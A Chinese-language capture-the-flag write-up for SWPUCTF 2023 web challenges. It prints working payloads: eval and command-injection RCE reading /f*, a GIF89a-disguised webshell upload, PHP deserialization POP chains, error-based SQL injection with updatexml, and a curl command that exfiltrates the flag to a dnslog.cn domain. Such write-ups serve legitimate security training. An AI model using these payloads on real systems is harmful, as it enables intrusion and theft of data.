[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup

Web

colorful_snake

来玩贪吃蛇~

F12查看源代码,可以看到this_is_real_flag函数,发现是unicode编码

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第1张图片

利用网站转换得到flag

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第2张图片

一键连接!

连连need


highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
            echo "Congratulations~~~~~~~~~";
            echo "试试need Antsword
"
; @eval($_POST['Nss']); }else{ echo "可曾听过data协议?"; } } else { echo "sha1又如何相等呢"; } } else { echo "如何让md5值相等呢¿"; }

第一 层要让md5_1md5_2经过md5加密后强比较类型相等,并且md5_1不等于md5_2,这里可以用数组绕过

构造payload

?md5_1[]=1&md5_2[]=2

第二层便是绕过sha1加密,这里也可以用数组

payload:

sha1_1[]=3&sha1_2[]=4

接下来可以看到file_get_contents,这个函数的内容就是显示文件内容,可以利用data协议传入数据流

payload:

new_player=data://text/plain,Welcome to NSSCTF!!!

接下来利用Nss来进行RCE即可,最后发包如下

?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!

POST DATA:
Nss=system('cat /f*');

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第3张图片

NSS_HTTP_CHEKER

来看看你的HTTP知识储备!

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第4张图片

好好好,喜欢这种,直接秒了

Burp发包如下

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第5张图片

ez_talk

文件上传,先直接上传个php文件

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第6张图片

试一试修改MIME类型,但是被过滤

image-20231019133932588

猜测是不是有文件头检测,添加文件头GIF89a?可以看到绕过,路径被翻转

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第7张图片

直接访问

http://node6.anna.nssctf.cn:28908/uploads/shell.php

可以看到已经挂马成功,直接RCE得到flag

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第8张图片

Pingpingping

程序未响应


highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
    system("ping -c 3 ".$_ping);
}else{
    $data = base64_encode(file_get_contents("error.png"));
    echo "";
}

得到源代码,通过简单的代码审计可以知道我们需要传参Ping_ip.exe,然后再执行system(ping -c 3 +我们传入的值 )

但是这里涉及到PHP非法传参的问题,也就是如果直接传入Ping_ip.exe,在PHP中会被解析成Ping_ip_exe,所以我们将原本参数的_改为[,即可传入正确的参数

构造payload:

?Ping[ip.exe=127.0.0.1|ls /

成功扫描根目录

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第9张图片

接下来直接获取flag即可

?Ping[ip.exe=127.0.0.1|cat%20/f* 

UnS3rialize

Let’s do some deserialization

给出源代码


highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain
"
; system($this->cmd); } function __wakeup() { echo "W4keup!!!
"
; $this->cmd = "echo Welcome to NSSCTF"; } } class C { public $whoami; function __get($argv) { echo "what do you want?"; $want = $this->whoami; return $want(); } } class T { public $sth; function __toString() { echo "Now you know how to use __toString
There is more than one way to trigger"
; return $this->sth->var; } } class F { public $user = "nss"; public $passwd = "ctf"; public $notes; function __construct($user, $passwd) { $this->user = $user; $this->passwd = $passwd; } function __destruct() { if ($this->user === "SWPU" && $this->passwd === "NSS") { echo "Now you know how to use __construct
"
; echo "your notes".$this->notes; }else{ die("N0!"); } } } if (isset($_GET['ser'])) { $ser = unserialize(base64_decode($_GET['ser'])); } else { echo "Let's do some deserialization :)"; }

考察反序列化,倒着找pop链

可以看到在NSS类中,存在__invoke()魔术方法,里面存放着可以执行系统命令的函数,所以这便是我们的终点

__invoke()魔术方法 : 将对象当作函数来使用时执行此方法

继续向上找,这个可能不太明显,就是在C类的return $want();中,在这里want被当做函数处理,触发方式便是__get()魔术方法

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

向上找,在T类中的return $this->sth->var;这里希望返回sth类中的var属性,但是不存在,所以可以通过该语句触发__get()魔术方法,但是前提是先触发__toString()魔术方法

__toString(): 当一个对象被当作字符串使用时触发

最后便是在F类中的__destruct()魔术方法的echo语句,将notes作为字符串处理,这便是pop链的触发点,因为__desrtuct()会自动触发

__destruct() :对象被销毁时触发

最后的pop链如下

NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct

由此构造exp,这里因为还要绕过__wakeup()所以就先不加base64_encode


class NSS
{
    public $cmd;

    function __construct(){
        $this ->cmd = "ls /";
    }
}


class C
{
    public $whoami;

    function __construct()
    {
        $this ->whoami = new NSS();
    }
}

class T
{
    public $sth ;

    function __construct(){
        $this ->sth = new C();
    }
}

class F
{
    public $user ;
    public $passwd;
    public $notes;

    function __construct()
    {
        $this->user = "SWPU";
        $this->passwd = "NSS";
        $this->notes = new T();
    }
}

$a = new F();
echo (serialize($a));

运行得到

O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

然后修改,利用对象的属性数量不一致方法来进行绕过,修改得到

O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

然后base64编码

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K

传参即可执行命令

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第10张图片

之后修改脚本的命令为cat /f*在重复一下步骤即可得到flag

payload:

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第11张图片

RCE-PLUS

没有回显如何读flag呢

无回显RCE,可以看看这篇文章

[CTF]命令执行无回显利用

这里利用DNSlog直接外带出flag

Get SubDomain获取域名,然后根据文章的格式

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第12张图片

cmd=curl `命令`.域名

payload如下:

http://node6.anna.nssctf.cn:28181/?cmd=curl%20`cat%20/f*`.vv5yp9.dnslog.cn

然后点Refresh Record,可以看到flag被外带出来了

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第13张图片

修改一下格式即为正确flag

查查need

重生之我是带黑阔查爆油专所有人!

hint1:前端源代码有hint,而且注意使用参数,或者直接拿起你们最喜欢的kali一键启动?

既然说了前端代码有hint,看一眼

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第14张图片

然后现在学生名单,随便找个名字

考察的是SQL注入,那就先找注入点以及闭合方式

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第15张图片

这里的注入点应该是student_id,因为可以明显的看到在报错语句中,password被md5加密了,所以可以判断注入点

在经过试错之后,发现闭合方式是""(双引号),那就先试试union联合查询注入,先判断显示位

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第16张图片

显示位不同的时候会报错,但是显示位相同的时候也会报错

后面发现是sql语句的问题,也就是那个;

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第17张图片

那既然都看到报错了,就试试报错注入

payload爆库:

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+#&password=11111

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第18张图片

看来思路对了,接下来爆表

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+&password=11111

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第19张图片

然后爆字段

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),0x7e),3) --+&password=11111

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第20张图片

但是这个payload并不能显示完全,轻微修改一下使其显示出后面的字段名

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),31,40),0x7e),3) --+&password=11111

发现没有flag,看看有没有表里面藏着flag,没有。。。。

不知道flag藏在哪

补充

麻了,赛后也是把题目重新看了一遍,发现flag其实是藏在了grade字段内的最后一条,这里打算直接用名单来爆破找到flag

用burp进行爆破,先发到测试器,将name添加变量

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第21张图片

导入名单,将学生名单复制到txt中,然后导入

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第22张图片

开始爆破

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第23张图片

在这。。。服了,脑电波没对上

If_else

像你这样的大师手法一定很厉害

某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果

提交方式$_POST["check"]

记得访问一下check.php哦~

check.php的内容
<?php
    $a=false;
    $b=false;
    if(你提交的部分将会被写至这里)
    {$a=true;}
    else
    {$b=true;}
    if($a===true&&$b===true)
    eval(system(cat /flag));
?> 

不知道这道题考的什么。。。可能是考PHP如何写吧

$被ban了,不能用,那就直接执行system(cat /f*)

payload直接放下面了

check=11==11){ system('cat /f*');} /*

传入之后访问check.php得到flag

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第24张图片

backup

听过备份文件吗

hint有提示备份文件,直接访问www.zip,可以得到源代码


error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙桥"){
        extract($_POST);
        if($pucky==="二仙桥"){    
            die("");
        }
        unserialize($pucky);
    }
}

看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化

在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag

第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可

然后在反序列化的时候采取引用绕过的方式,exp如下



class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);

运行得到

O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

p0pmart.php界面直接传入即可

[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup_第25张图片

你可能感兴趣的:(CTF比赛复现,前端,web安全,php,CTF,SWPU)